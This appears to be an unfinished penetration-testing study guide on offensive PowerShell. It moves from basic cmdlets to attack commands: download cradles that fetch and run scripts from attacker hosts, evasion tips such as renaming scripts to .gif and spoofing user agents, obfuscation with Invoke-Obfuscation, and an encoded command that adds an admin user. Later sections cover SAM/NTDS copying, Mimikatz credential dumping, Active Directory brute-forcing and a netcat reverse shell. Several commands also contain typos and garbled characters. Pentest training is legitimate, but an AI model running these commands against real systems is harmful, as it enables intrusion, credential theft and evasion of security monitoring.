WIP - PowerShell for Pentesters

PowerShell is a powerful built-in shell and scripting environment we can utilize as penetration testers considering its wide-spread availability on all modern Windows based systems.

This document is still in progress...

Introduction

Why PowerShell - Study Guide

PowerShell is a powerful built-in shell and scripting environment we can utilize as penetration testers considering its wide-spread availability on all modern Windows-based systems.

The use of PowerShell allows us to take advantage of the "living-off-the-land" concept, where using tools that are built-in to the OS work to our advantage once we've obtained access to a system.

There are many advantages to using PowerShell as it relates to penetration testing with some of them being:

  • Many organizations aren't actively hunting for PowerShell activity since it is usually considered a "trusted" application.

  • We can use PowerShell to run, download or execute code, entirely within the memory process of the PowerShell executable, helping us evade endpoint security solutions.

  • We can use it to interface with the .NET and other Windows APIs.

  • We can call Windows DLL functions from within PowerShell.

  • We can use it to bypass application whitelisting implementations by running the usual OS commands from from the PowerShell CLI.

  • Many tools are already available to us for a large amount of purposes related to penetration testing.

  • Having access to all of those things through PowerShell helps us reduce our footprint and evade defense mechanisms while conducting post-exploitation tasks.

  • PowerShell is also easy to use, and there are many scripts and frameworks written that we can utilize for our offensive purposes.

  • Furthermore, it doesn't take much to create our own scripts to carry out some of our tasks as we'll see in the modules that follow.

What is PowerShell - Study Guide

PowerShell is a powerful built-in Command Line Interpreter or "shell", and task-oriented scripting language environment found on most current Windows Operating Systems starting with Windows 7 and through to Windows 2008 R2 and onward.

PowerShell is typically used by administrators as it provides great functionality and flexibility in regards to managing Windows systems and automating tasks, which is mostly the reason why it's the perfect tool when it comes to our process as penetration testers.

PowerShell is tightly integrated with the .NET framework, and it's built on top of it.

It also provides convenient access to the .NET Framework API, Component Object Model (COM) and Windows Management Instrumentation (WMI) which is another plus in regards to persistence methods and ways we can gather information.

Most of the time, we'll either be working with scripts commonly identified by the .ps1 file extension, or through what are known as "Cmdlets" (native PowerShell commands) of which we can also create our own, and other times, we'll be interacting directly with via the PowerShell CLI.

An important point to note as we navigate through the upcoming topics is that more recent versions of Powershell, specifically 5.0 and onward, introduce some potential hurdles in regards to detection, loggin and more restrictive modes.

In 2016, Powershell 6.0 (Powershell Core) was made available for several different platforms, including some major Linux distributions, MacOS and also as a Docker container image:

PowerShell Fundamentals

The PowerShell CLI - Study Guide

The PowerShell CLI provides us with access to built-in cmdlets, modules, functions, features, and provides a way to create tasks, functions, variables interactively and more, directly from the CLI.

In most cases, accessing the CLI is as simple as just typing powershell in the Windows search filed from the Start menu.

Alternatively, the shortcut to PowerShell can be found within %appdata%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell directory.

Sometimes the shortcuts are unavailable; the PowerShell executable itself can be found in the C:\Windows\System32\WindowsPowerShell\v1.0 directory.

If other versions are available on the system, they can be found in their corresponding version paths.

A note regarding 32-bit and 64-bit PowerShell executables

  • If you're operating on a 64-bit system, the location of the 64-bit PowerShell executable can be found in c:\Windows\System32\WindowsPowerShell.

  • While the 32-bit version being located in the C:\Windows\SysWOW64\WindowsPowerShell directory.

  • This can be a bit confusing considering the directory naming convention.

  • Nonetheless, we can determine whether we're running in a 32-bit or 64-bit PowerShell environment from the CLI with the following command: PS C:\> [Environment]::Is64BitProcess.

  • Which should return True if the current PowerShell process is 64-bit.

  • On a 32-bit system, the executable will be in its usual location of: c:\Windows\System32\WindowsPowerShell\*.

When possible, we should try and launch PowerShell as the Administrator user as this will give us access to functions which we would be otherwise unable to access as Lower-Privileged user.

We can right-click on the Shortcut or Executable and select "Run As Administrator".

Examples were tested on Windows 10.

powershell /?         # Alternatively: -Help or -?

Basic Usage

Argument

Description

-ExecutionPolicy

PowerShell execution policy determines which scripts if any, we can run and can easily be disabled with the Bypass or Unrestricted arguments:

powershell.exe -ExecutionPolicy Bypass .\scr.ps1

powershell.exe -ExecutionPolicy Unrestricted .\scr.ps1

powershell.exe -ep Bypass

powershell.exe -ex by

-WindowStyle

Hides the PowerShell window when used with the Hidden argument:

powershell.exe -WindowStyle Hidden .\scr.ps1

powershell.exe -W h

powershell.exe -Wi hi

-Command

Used to specify a Command or Script Block to run:

powershell -Command Get-Process

powershell -command "& { Get-EventLog -LogName security }"

-EncondedCommand

Used to execute base64 encoded scripts or commands:

powershell.exe -EncodedCommand $encodedCommand

powershell.exe -enco

powershell.exe -ec

-NoProfile

Don't load any PowerShell profiles. Profiles are essentially scripts that run when the PowerShell executable is launched and can interfere with our operations:

powershell.exe -NoProfile .\scr.ps1

-Version

We can use it to downgrade the version of PowerShell. Requires that older versions are still installed on the target:

powershell.exe -Version 2

Get-Help

Similar to Linux Man Pages. Obtain info related to any function, alias, module or cmdlet that PowerShell is aware of.

PS C:/> Get-Help Get-Help
PS C:/> Get-Help Get-Process -Full         # detailed info
PS C:/> Get-Help Get-Process -Examples     
PS C:/> Get-Help Get-Process -Online       

# Update help files from Microsoft
PS C:/> Update-Help

Get-Command

Allows us to list all cmdlets, aliases, functions workflows, filters scripts and any applications that are available for us to use in PowerShell.

Running Get-Command cmdlet without arguments will simply list all commands, but we can also use the -Name parameter to list any that are useful to us. For instance we can list all functions related to modification of the Windows Firewall with the following command:

PS C:/> Get-Command Name "Firewall"

Cmdlets - Study Guide

"command-lets" are a big part of how we will leverage PowerShell for our offensive purposes.

  • Light-weight PowerShell scripts that perform a single function (can be as small as few lines of code).

  • Instances of .NET Framework classes derived from the Cmdlet Base Class and provide access to system functions.

  • Cmdlets are native commands in PowerShell (we can also create our own).

  • Typically written in a "Verb-Noun" file name format which helps us determine their function (e.g.: Invoke-Command).

  • Typically used to return output to other Cmdlets to be the processed via a pipeline (|).

  • Every cmdlet has it's own set of parameters which can be discovered through the Get-Help cmdlet as we've seen previously.

Important

It should be noted that most cmdlets, by default, when run without other parameters will return a limited set of information or "Columns"

For example: just running Get-ChildItem cmdlet without any other arguments or options, returns four columns named Mode, LastWriteTime, Length and Name.

But by piping the output of a cmdlet to the Format-List cmdlet, rather than columns an names we can return all named properties associates with its objects in a different list-like format:

PS C:\> Get-ChildItem | Format-List *

Pipelining

An example of this processing of cmdlet output objects with pipelines would be something like the following, where a list of process is returned to be sorted with unique values, selecting the ProcessName objects:

PS C:\> Get-Process | Sort-Object -Unique | Select-Object ProcessName

We can also redirect the results of our pipeline operation to a file using a standard Redirect Operator (>):

PS C:\> Get-Process | Sort-Object -Unique | Select-Object ProcessName > uniq_procs.txt

Useful cmdlets: Get-Process

Get-Processwill give a list of all processes. To get all of the information (properties) associated with all of the processes, we can pipe it to the Format-List * cmdlet and wildcard argument.

This will give us a better idea of how we can filter the data for specific properties.

PS C:\> Get-Process | Format-List *

We can further extend this to get information about specific processes and paths to their executables, by using the Format-List cmdlet and also specifying the Path property name:

PS C:\> Get-Process chrome, firefox | Sort-Object -Unique | Format-List Path
PS C:\> Get-Process chrome, firefox | Sort-Object -Unique | Format-List Path,Id

Useful cmdlets: Get-ChildItem

This one has an alias: ls.

To find what the aliases are for a specific cmdlet, we can use the Get-Alias cmdlet with the -Definition parameter followed by a cmdlet name:

PS C:\> Get-Alias -Definition Get-ChildItem # outputs dir, gci, ls

Useful cmdlets: Get-WmiObject

select is an alias for the Select-Object cmdlet.

We return all information about the Operating System:

PS C:\> Get-WmiObject -class win32_operatingsystem | select -Property *
PS C:\> Get-WmiObject -class win32_operatingsystem | fl *

# Obtain information regarding any WMI Class, for instance getting a detailed
# list of properties for all services with the "win32_service" class:

PS C:\> Get-WmiObject -class win32_service | Format-List *

# We can further extend our pipeline and filtering operation just 
# to give us `PathName` which includes command line args and paths to all 
# service executables:

PS C:\> Get-WmiObject -class win32_service | Sort-Object -Unique PathName | fl Pathname

Useful cmdlets: Export-Csv

Saving the information we're gathering to a file is important as well. We can either redirect the output of the pipeline operation to a file with the (>) Redirect Operator as we saw in an earlier example or sometimes, we may need the results in a different format for processing.

For this we can pipe all of the output to the Export-Csv cmdlet and save the results in CSV format:

PS C:\> Get-WmiObject -class win32_operatingsystem | fl * | Export-Csv C:\host_info.csv

Exploring the Registry

For access to Windows Registry hives, PowerShell provides a convenient method with the following command, so we can easily navigate into areas we might be interested in with cd which is the alias for Set-Location and furthermore list contents of our current hive with Get-ChildItem cmdlet or ls:

PS C:\> cd HKLM: \

Useful cmdlets: Select-String

Along with the -Path and -Pattern args is yet another useful PowerShell command we can use to scour the system for files containing certain strings.

PS C:\> Select-String -Path C:\users\user\Documents\*.txt -Pattern pass*

Useful cmdlets: Get-Content

Use this cmdlet to display the full contents of the passwords.txt file.

PS C:\> Get-Content CL\Users\user\Documents\passwords.txt

Alternatively we can obtain the same results by usign the Get-ChildItem cmdlet alias with the recursive parameter (ls -r) which lists files within a directory recursively, then, search for file types of .txt with the -File parameter.

We'll then pipe that to the ForEach-Object alias which is % and a script block {} that searches for the string pass* in all files in the path specified with the alias for the Select-String cmdlet (sls):

PS C:\> ls -r C:\Users\user\Documents -File *.txt | % {sls -Path $_ -Pattern pass* }
# $_ variable for current value in the pipeline
# % alias for ForEach-Object cmdlet

Useful cmdlets: Get-Service

Information regarding currently installed services and can be useful in the case we can identify a service which might be vulnerable to a privilege escalation exploit.

Running it without parameters or arguments simply returns a three column list of all services.

We can extend those results, as we've seen before, with the Sort-Object cmdlet. In this example, all services starting with s* in descending order and sorting by the Status property:

PS C:\> Get-Service "s*" | Sort-Object Status -Descending

Modules - Study Guide

A module is a set of PowerShell functionalities grouped together in the form of a single file that will typically have a .psm1 file extension.

Modules are typically comprised of several components. However, not all components are necessary for the functionality module.

The components that can make up a typical module are:

  • Any number of PowerShell scripts .ps1 or other code files, such as a managed cmdlet assembly.

  • Additional Assemblies, Help files, or scripts.

  • A module manifest file.

  • A directory which is used to contain all of the above.

There are also several different types of modules:

Get-Module

Modules are typically "imported" into the current PowerShell session. To obtain a list of all currently imported modules, we can use the Get-Module cmdlet:

PS C:\> Get-Module
PS C:\> Get-Module -ListAvailable

Import-Module

Modules wanted to be used need to be imported into the current PowerShell session first:

PS C:\> Import Module .\mod.psm1

Once we import a PowerShell module, all of its various cmdlets and other components become available to us, and we can simply then execute the cmdlets that are part of that module (think of PowerSploit).

PowerSploit

  1. Download PowerSploit.

  2. PS C:\> $env:PSModulePath : modules will need to be copied into this path. Cam be something like C:\Users\user\Documents\WindowsPowerShell\Modules.

  3. Launch PowerShell Console and Import-Module PowerSploit.

  4. Run Get-Module.

  5. Run Get-Command -Module PowerSploit to list all of the PowerSploit associated module with the -Module parameter.

  6. Get help: Get-Help Write-HihackDLL.

Antivirus alert

Many exploitation frameworks will be detected as "hacking tools" and other signatures by a number of Antivirus solutions. This is somewhat "normal", it's Antivirus just doing its job, in this case, at detecting strings within the PowerShell scripts as being malicious, or flagging on names of modules. etc. Either way, you can create an exclude directory for your AV software for the purpose of this lesson and download the modules into a directory.

Scripts - Study Guide

Scripts are another element of our leveraging of PowerShell as an offensive tool, and most of the time, this is probably the most common way we will utilize PowerShell for most tasks.

PowerShell Scripts are usually identified by the .ps1 extension, the '1' indicating not the version of PowerShell, but rather the PowerShell engine.

For the most part, we'll be dealing with the .ps1 file.

PowerShell scripts can contain as little as a few commands to automate some tasks or be as comples as contain parameters, script arguments, loops, functions, and anything else related to capabilities that PowerShell offers as a scripting language.

Running a PowerShell console, using the (dot-backslash) .\ notation for a script in our directory.

PS C:> .\example.ps1

# You may have to bypass the current execution policy (as shown earlier) 
# before you execute the script of your choosing!!

A very basic example of a PowerShell script which takes a file name as an argument would be something like:

example.ps1
Param(
    [parameter(mandatory=$true)][string]$file
)
Get-Content "$file"

The above script simply takes a file name as an argument for which it creates a variable called $file and runs the Get-Content cmdlet on our variable.

Now if we run this file while supplying the name of a file, in this case, users.txt which contains several usernames:

.\example1.ps1 users.txt

If we run the script without arguments, PowerShell will ask us for the file, since mandatory=$true has been set for the parameter function in our script.

Alternatively, rather than writing a .ps1 script file, we could also just create a variable $file for our user.txt file, and then call the Get-Content script against our variable, directly from the shell:

PS C:\> $file="users.txt"
PS C:\> Get-Content $file

Loop Statements

PowerShell supports several "loop statements" which we can utilize for different tasks. We can loop statements to iterate through files, PowerShell object collections, and even conduct port scans.

PowerShell allows us to use a number of loop statements for our purposes:

  • for()

  • foreach()

  • while()

  • do {something} while()

  • do {something} until()

Check a more detail help information with

PS C:\> Get-Help about_Foreach

# Loop Satement + Loop Body
PS C:\> $services = Get-Service
PS C:\> foreach ($service in $services) { $service.Name }

# You can also:
PS C:\> Get-Service | ForEach-Object { $_.Name }
PS C:\> Get-ChildItem C:\Powershell\ | Where-Object { $_.Name -match "xls" }

Objects - Study Guide

Rather than with other scripting languages where data is output as text most of the time, PowerShell is different in that the data being output originates from classes within the .Net Framework in the form of "objects", which are partly comprised of collections of properties, along with "methods" that we can use to manipulate the objects.

When we run Get-Process cmdlet along with the Format-List * command, we get a list of all process along with their properties.

Each of the objects also has multiple methods that we can use to manipulate a particular object.

To get a list of methods for objects associated with a cmdlet, we can use the `Get-Member cmdlet as part of pipeline command:

PS C:\> Get-Process | Get-Member -MemberType Method

The GetMember cmdlet will give us an idea of all of the methods for associated objects, as we can see below for the Get-Process objects. Several methods that might be of interest to us for the Get-Process objects might be Kill or Start which we could use to kill or start processes.

PS C:\> Get-Process -Name "firefox" | Kill

Creating .NET Objects

In addition to using the built-in cmdlets to access a large number of objects, which we can then manipulate, we can also create .Net Objects which greatly extends our capabilities using NewObject` cmdlet.

These can be either created as a Type of the .Net Framework class, using fully qualified names of .NET classes or we can use the ProgID of a COM object.

In this example:

  1. We create a variable called $webclient which instantiates the System.Net.WebClient .NET class, which is used to create a web client.

  2. We then create another variable $payload_url which is the URL to our payload.

  3. The $file variable is then used as the location to which we want to save the payload on the target system.

  4. And finally, we call the $webclient variable with the Downloadfile method which downloads our payload.exe to the target.

PS C:\> $webclient = New-Object System.Net.WebClient
PS C:\> $payload_url = "https://attacker_host/payload.exe"
PS C:\> $file = "C:\ProgramData\payload.exe"
PS C:\> $webclient.DownloadFile($payload_url,$file)

Offensive PowerShell

Downloading and Execution - Study Guide

The ability to download and execute files on our target system is, of course, a necessary process in our quest to maintain footholds and persistence within a target network.

Being able to do so with tools that are already built-in to the OS (ex, Living-off-the-land) is even more important as it helps evade endpoint security measures and application whitelisting solutions by using tools that are likely already "trusted".

Additionally, being able to download and execute files with PowerShell is even more advantageous in many cases, since we're able to operate entirely within the memory process of PowerShell and can avoid dropping artifacts to disk in many cases.

There are two primary ways we can download and execute code in regard to strictly using PowerShell and built in .Net classes or COM objects:

An executable or script is downloaded to disk, which can then be executed by PowerShell itself, or by using other executables on the system to execute our code.

An executable or script is downloaded and run within the PowerShell process memory, and never touches the disk (preferred method).

A summary of methods that we can use for "In-Memory" execution with PowerShell version 2.0 (preferred methods):

  • Net.WebClient DownloadString method

  • Net.WebClient DownloadData method

  • Net.WebClient OpenRead method

  • .NET [Net.HttpWebRequest] class

  • Word.Application COM Object

  • Excel.Application COM Object

  • InternetExplorer.Application COM Object

  • MsXml2.ServerlXmlHttp COM Object

  • Certutil.exe w/ -ping argument

A summary of methods we can use for "Disk-Based" execution with PowerShell version 2.0:

  • Net.WebClient DownloadFile method

  • BITSAdmin.exe

  • Certutil.exe w/ -urlcache argument

These two methods (in-memory and disk-based) are usually accomplished using what are commonly referred as "Download Cradles" and use the "System.Net.WebClient" .Net System Class among other classes, COM objects or other Windows-native executables to achieve this.

Most of the time we'll use the New-Object cmdlet, which will allow us to create instances (objects) of either .Net or COM objects.

Net.WebClient DownloadString Method

The most common download cradle we'll see in the field uses the "iex" or Invoke-Expression alias along with the Net.WebClient class and the DownloadString method, which downloads and executes a remotely hosted PowerShell script:

PS C:\> iex (New-Object Net.Webclient).DownloadString("http://attacker_url/script.ps1")

# Standard Windows cmd
c:\> powershell.exe iex (New-Object Net.Webclient).DownloadString('http://attacker_url/script.ps1')

We can also break the above PowerShell commands down and execute them directly via the console with something like:

PS C:\> $downloader = New-Object System.Net.WebClient
PS C:\> $payload = "http://attacker_url/script.ps1"
PS C:\> $command = $downloader.DownloadString($payload)
PS C:\> Invoke-Expression $command

The DownloadString method will execute our remote script in the PowerShell process memory, so in regard to not dropping an artifact to disk, it's a great way to stay under the radar of endpoint security solutions, that are monitoring PowerShell memory.

Evasion Tip: SSL Certificate!

It should be noted that where possible when hosting your remote PowerShell script, to have an SSL certificate configured on the attacker machine. This will help in evading over-the-wire heuristics as our traffic will go over HTTPS.

Evasion Tip: Rename to gif!

Another trick we can use which might help in evading basic file extension heuristics is to give our PowerShell script a different extension, for instance, logo.gif. PowerShell will still execute it as a .ps1 script.

Evasion Tip: Headers

In this way, we decrease our probability of being detected, as this can help to evade detection mechanism that are flagging on abnormal user-agent strings crossing the wire:

PS C:\> $downloader = New-Object System.Net.WebClient
PS C:\> $downloader.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Geck) Chrome/65.0.3325.146 Safari/537.36")
PS C:\> $payload = "http://192.168.13.62/Get-ProcessPaths.ps1"
PS C:\> $command = $downloader.DownloadString($payload)
PS C:\> iex $command

Net.WebClient DownloadFile Method

Another Net.Webclient class method we can use is the DownloadFile method. This method will download your executable to disk.

Although noisy and not recommended, if trying to remain stealthy, it's still sometimes a handy method to quickly download a file to the target system.

PS C:\> $downloader = New-Object System.Net.WebClient
PS C:\> $payload = "http://attacker_URL/payload.exe"
PS C:\> $local_file = "c:\programdata\payload.exe"
PS C:\> $downloader.DownloadFile($payload,$local_file)

# execute the file once in our target with this final statement:
PS C:\> & $local_file

It should also be noted that the Net.WebClient class methods can be configured to use the systems' proxy and default credentials:

PS C:\> $downloader = New-Object System.Net.WebClient
PS C:\> $payload = http://attacker_URL/script.ps1
PS C:\> $cmd = $downloader.DownloadFile($oayload)
PS C:\> $proxy = [Net.WebRequest]::GetSystemWebProxy()
PS C:\> $proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
PS C:\> $downloader.Proxy = $proxy
PS C:\> iex $cmd

Net.WebRequest class

We can use this class to download and execute scripts on a target, in memory.

PS C:\> $req = [System.Net.WebRequest]::Create("http://ttacker_RUL/script.ps1")
PS C:\> $res = $req.GetResponse()
PS C:\> iex([system.IO.StreamReader] ($res.GetResponseStream())).ReadToEnd()

System.Xml.XmlDocument class

Allows to execute a PowerShell command (or any system command) contained within an attacker hosted XML document and is another great way to execute PowerShell code in memory, and in a way that is likely not detected, especially when combined with a server over HTTPS.

We just create an XML file with the following contents that we'll host on our attacker machine:

<?xml version="1.0"?>
<command>
    <a>
        <execute>Get-Process</execute>
    </a>
</command>

Next, once our XML file is hosted, we can use the System.Xml.XmlDocument class with the Load method to download and execute it:

PS C:\> $xmldoc ยก New'Object System.Xml.XmlDocument
PS C:\> $xmldoc.Load("http://attacker_URL/file.xml")
PS C:\> iex $xmldoc.command.a.execute

COM Objects for Download & Execution

We can also use COM Objects to both download and execute scripts on a target system. Some of the COM objects available to us for this purpose are:

  • Msxml2.XMLHTTP

  • Microsoft.XMLHTTP

  • InternetExplorer.Application

  • Excel.Application

  • Word.Application

  • MsXml2.ServerXmlHttp

  • WinHttp.WinHttpRequest.5.1 (Not Proxy Aware)

We can utilize the COM objects in the same way we do with the Net.WebClient objects, by using the New-Object cmdlet, but with the -ComObject parameter.

PS C:\> $downloader = Net-Object -ComObject Msxml2.XMLHTTP
PS C:\> $downloader.open("GET", "http://attacker_URL/script.ps1", false)
PS C:\> $downloader.send()
PS C:\> iex $downloader.responseText

WinHttp.WinHttpRequest.5.1. COM Object

downloader.ps1
PS C:\> $downloader =  Net-Object -ComObject WinHttp.WinHttpRequest.5.1
PS C:\> $downloader.open("GET", "http://attacker_URL/script.ps1", false)
PS C:\> $downloader.send()
PS C:\> iex $downloader.responseText

ExecutionPolicy Bypass and Hidden Window

A great tool we can use to help us cract obfuscated download cradles is known as Invoke-CradleCrafter by Daniel Bohannon.

Obfuscation - Study Guide

As endpoint security solutions catch up with attacker methods and implement numerous heuristics and detection signatures to catch PowerShell commands as they are being executed, we turn to obfuscation as a layer in helping us evade those defenses.

One of the more well-known frameworks w can use for this purpose is Daniel Bohannon's Invoke-Obfuscation, which offers some excellent options we can use to obfuscate and encode our PowerShell commands or script blocks using a number of methods including AES encryption with the "SecureString" mthod, to special characters and even whitespace encoding.

  1. Download the Invoke-Obfuscation framework into our module's directory (check PowerSploit section: $env:PSModulePath.

  2. Run Import-Module Invoke-Obfuscation

  3. Run Invoke-Obfuscation

  4. We have several different options we can use to obfuscate our PowerShell commands:

    1. TOKEN : obfuscate PowerShell command tokens.

    2. AST : AST nodes (PS 3 or greater).

    3. STRING : obfuscate entire command as a String.

    4. ENCODING : obfuscate via encoding.

    5. COMPRESS : convert entire command to one-liner and compress.

    6. LAUNCHER : obfuscate command args w/Launcher techniques (run once at end).

First, in order to tell Invoke-Obfuscation what we'd like to obfuscate exactly, we first need to use the SET SCRIPTBLOCK command.

iex (New-Object Net.Webclient).downloadstring("http://192.168.13.62/Get-ProcessPaths.ps1")

The download cradle from the previous slide, when executed on our target, will use the Net.WebClient class and will download and execute our Get-ProcessPaths.ps1 script from our attacker machine, which will simply list running process on our target.

Let's set that as the SCRIPTBLOCK in Invoke-Obfuscation as the command we want to obfuscate with the SET SCRIPTBLOCK command:

Invoke-Obfuscation> SET SCRIPTBLOCK iex (New-Object Net.WebClient).downloadstring("http://attacker_URL/Get-ProcessPaths.ps1"
Invoke-Obfuscation> STRING

# There are 3 modes, we could go for option 3
# Reverse method: will first concatenate our PowerShell command line and then
# reverse the entire string.

Once we select and run the reverse obfuscation, Invoke-Obfuscation presents us with the command it used to create the obfuscated string block, along with the result of the command, which can be just copied and pasted to our target system in a PowerShell prompt.

There's an ENCODING method too, which provides a bit more obfuscation and is a bit harder to detect (as "Special Characters".

If we're operating from a Windows command prompt on the target, instead of a PowerShell console, we can use the pwershell.exe -Command option to run our obfuscated commands, by just encapsulating the encoded result with quotes.

Important: be careful to create commands that don't exceed cmd.exe 's maximum length.

RESET method is used to clear previous encodings.

In addition to obfuscating our PowerShell commands, we can also create obfuscated launcher commands to run our obfuscated code on the target using LAUNCHER option. For instance, if we want to use WMIC to launch our obfuscated code, we can quickly generate a command to do so.

The process for using the LAUNCHER option is that we first create our obfuscated commands as we did previously:

  1. We SET SCRIPTBLOCK with the code we want to execute.

  2. We select an obfuscation method to generate the obfuscated command.

  3. We then use the LAUNCHER option as the end of this process (like RUNDLL method).

And then the command line options we'd like to use as well, in this case, we'll choose '0' for No Execution Flags.

The resulting string is an obfuscated command that utilizes rundll32.exe with the SHELL32.DLL function (ShellExec_runDLL) which will launch our obfuscated PowerShell code on the target.

Invoke-Obfuscation also includes a tutorial option if you're stuck and need some guidance on some of its options.

Although not really a recommended "obfuscation" method since it can be easily detected by Antivirus and other heuristics, considering it's just base64 encoding.

The -EncodedCommand parameter allows us to execute encoded commands or script blocks which contain characters which might interfere with the processing of our command via Windows command prompt.

In simpler terms, it makes complex commands "digestible" by PowerShell by encoding everything with Base64.

To encode a command that will add a new user admin1" to the local administrator's group:

PS C:\> $command = 'net user admin1 "p@ssw0rd9001" /ADD; net localgroup administrators admin1 /add'
PS C:\> $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
PS C:\> $encodedCommand = [Convert]::ToBase64String($bytes)

We can then get the results of our encoded command with the Write-Host cmdlet against our $encodedCommand variable:

PS C:\> Write-Host $encodedCommand

# We then execute our encoded command with the -EncodedCommand parameter

C:/> powershell.exe -encodedcommand <string>

Information Gathering and Recon - Study Guide

PowerShell is largely a tool we use for post-exploitation simply due to its capability and its availability on systems we have access to.

Naturally, it is a post-exploitation tool. However, we can also use it to conduct Information Gathering and Reconnaissance as well.

There are several third-party tools, built-in cmdlets and frameworks that exist that can help us with these tasks.

Host Discovery & Port Scanning

One tool we can use for efficient discovery of hosts on a network and is included with the PowerSploit framework is the Invoke-Portscan cmdlet.

First we can utilize Infoke-PortScan to execute a ping scan (-PingOnly) against our target network range in CIDR notation with the -Hosts parameter in an attempt to identify live hosts:

PS C:/> Invoke-Portscan -Hosts "192.168.13.1/24" -PingOnly

We can also supply a file containing a list of IP addresses with the -HostFile parameter. The results of which will show True for live hosts:

PS C:\> Invoke-Portscan -HostFile ips.txt -PingOnly
PS C:\> Invoke-Portscan -HostFile ips.txt -PingOnly | Export-Csv C:\ping_scan.csv
PS C:\> Get-Content .\ping_scan.csv

# -ports
PS C:\> Invoke-Portscan -HostFile ips.txt -ports "53-81"

# -oG -f greppable nmap format
PS C:\> Invoke-Portscan -HostFile ips.txt -oG port_scan.gnmap -f -ports "53-81"

Get-HttpStatus

For a tool similar to what we're used for enumerating files and directories asdirb, dirsearch, we can use PowerSploit too. Get-HttpStatus works in conjunction with a dictionary (-Path) like other similar tools, and when used in conjunction with the Where-Object alias (?) will return a list of pages or directories on the server:

PS C:\> Get-HttpStatus -Target 192.168.13.62 -Path dictionary.txt -Port 80 ? {$_.Status -match "ok" }

Posh-SecMod, Invoke-ARPScan

Another useful cmdlet we can use for host discovery and is part of Carlos Perez's Posh-SecMod framework is Invoke-ARPScan and may generate fewer alerts than your usual SYN or TCP scan.

PS C:\> Invoke-ARPScan -CIDR 192.168.13.1/24

Posh-SecMod has several useful cmdlets we can use for host discovery purposes among others.

PS C:\> Get-Command -Module Posh-SecMod

Posh-SecMod - Invoke-ReverseDNSLookup

For reverse DNS lookups, we can use this cmdlet against a target CIDR block:

PS C:\> Invoke-ReverseDnsLookup -CIDR 192.168.13.0/24

Posh-SecMod - Resolve-HostRecord

PS C:\> Get-Help Resolve-HostRecord -Examples

Posh-SecMod - Resolve-DNSRecord

PS C:\> Get-Help Resolve-DNSRecord -Examples

Post-Exploitation with PowerShell - Study Guide

Important!

Nishang and its various modules will likely be detected by AV software if imported directly into the target system. Therefore it's important to make sure that most of the tools and scripts we invoke should be invoked via download cradles that support in-memory execution.

Nishang

Nishang - Gather - Copy VSS

The Copy-VSS module will attempt to copy the SAM database using the VSS service, and if run on a domain controller will try and copy the NTDS.dit and contents on the SYSTEM registry hive.

PS C:\> iex (New-Object Net.Webclient).DownloadString("http://attacker_url/Copy-Vss.ps1"); Copy-VSS

The command will copy the contents of the SYSTEM registry hive and the SAM file to the current directory on the target, which can be cracked offline.

Nishang - Gather - Get-Information

The Get-Information cmdlet will get us a good deal of system information including:

  • PuTTY trusted hosts

  • PuTTY Saved sessions

  • Recently used commands

  • Shares on the target machine

  • Environment Variables

  • Current user details

  • SNMP information

  • Installed applications

  • Domain Name

  • Content of hosts file

  • Running Services

  • Account Policy

  • Local Users

  • Local Groups

  • WLAN info

We can download and execute it in memory with our Net.Webclient DownloadString download craddle:

iex (New-Object Net.WebClient).DownloadString('http://attacker/Get-Information.ps1'); Get-Information

Nishang - Gather - Get-PassHints

Dumps the saved Password Hints for users on the system:

PS C:\> iex (New-Object Net.WebClient).DownloadString('http://attacker/Get-PassHints'); Get-PassHints

Nishang - Gather - InvokeMimikatz

This cmdlet will dump clear-text credentials (or hashes) from memory. Note that we can also pass command line parameters to any of the modules that have additional options as part of our download cradle commands:

PS C:\> iex (New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz'); Invoke-Mimikatz -DumpCreds

There are plenty of other very useful Nishang "gather" modules which will come in handy for our post-exploitation purposes.

Nishang - Bruteforcing MSSQL, Active Directory, WEB and FTP

As part of its catalog, Nishang includes a great brute force tool Invoke-BruteForce. We can use this to brute force Active Directory accounts, SQL Server, Web or FTP servers. The great thing about a brute force tool written in PowerShell is that we can execute the attack from our target host as long as we copy a file containing usernames and passwords to our target:

PS C:\> Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\Temp\users.txt -PasswordList C:\Temp\pwds.txt -Service ActiveDirectory -StopOnSuccess -Verbose

Invoke-BruteForce is also a great tool for executing a password spray attack against Active Directory. Just ensure your password list contains a single password.

Nishang - Reverse PowerShell Shell (Netcat)

The Invoke-PowerShellTCP cmdlet within the Nishang framework provides an excellent way to obtain a reverse PowerShell shell from our target host back to a netcat listener.

Keep in mind that if using this method, take into consideration that the traffic is traversing the wire in cleartext between attacker and target.

Although a great an undetected (by AV soft) method to get a reverse shell from PowerShell, over-the-wire heuristics (SIEM) may pick up some of the back and forth chatter if that type of solution has been implemented within an organization.

To use this, we should first fire up a netcat listener on our attacker machine:

nc -nvlp 4444

Next we can simply invoke it using a download cradle from the target system, this time, from a Windows command prompt on the target:

C:\> powershell.exe -command iex (New-Object Net.WebClient).DownloadString('http://attacker_url/Invoke-PowerShellTcp.ps1`); Invoke-PowerShellTcp -Reverse -IPAddress <listener_IP> -Port 4444

On our listener, we should receive a connect back from the target, into a PowerShell prompt.

There are several different shells, both bind, reverse, ICMP, UDP shells and some more complex "rat"-type shells we can utilize from Nishang:

  • Invoke-JSRatRundll.ps1

  • Invoke-PoshRatHttp.ps1

  • Invoke-PoshRatHttps.ps1

  • Invoke-PowerShellcmp.ps1

  • Invoke-PowerShellTcp.ps1

  • Invoke-PowerShellTcpOneLine.ps1

  • Invoke-PowerShellTcpOneLineBind.ps1

  • Invoke-PowerShellUdp.ps1

  • Invoke-PowerShellUdpOneLine.ps1

  • Invoke-PowerShellWmi.ps1

  • Invoke-PsGcat.ps1

  • Invoke-PsGcatAgent.ps1

  • Remove-PoshRat.ps1

In addition to the "Gather" and other modules we've covered, we can find a script for mostly any phase of our post-exploitation within the Nishang Framework with utilities in the following categories:k

PowerSploit for Post-Exploitation

As with other frameworks, there are several categories in PowerSploit we can use for our post-exploitation purposes:

  • AntivirusBypass

  • Code Execution

  • Exfiltration

  • Mayhem

  • Persistence

  • Privesc

  • Recon

  • ScriptModification

PowerSploit - PowerUp

this module belongs to the "privesc" category. We can first import the Privesc.psm1 module from within the Privesc Modules directory and have a look at some of the options we have:

PS C:\Modules\PowerSploit\Privesc> Import-Module .\Privesc.psm1
PS C:\> Get-Command -Module Privesc

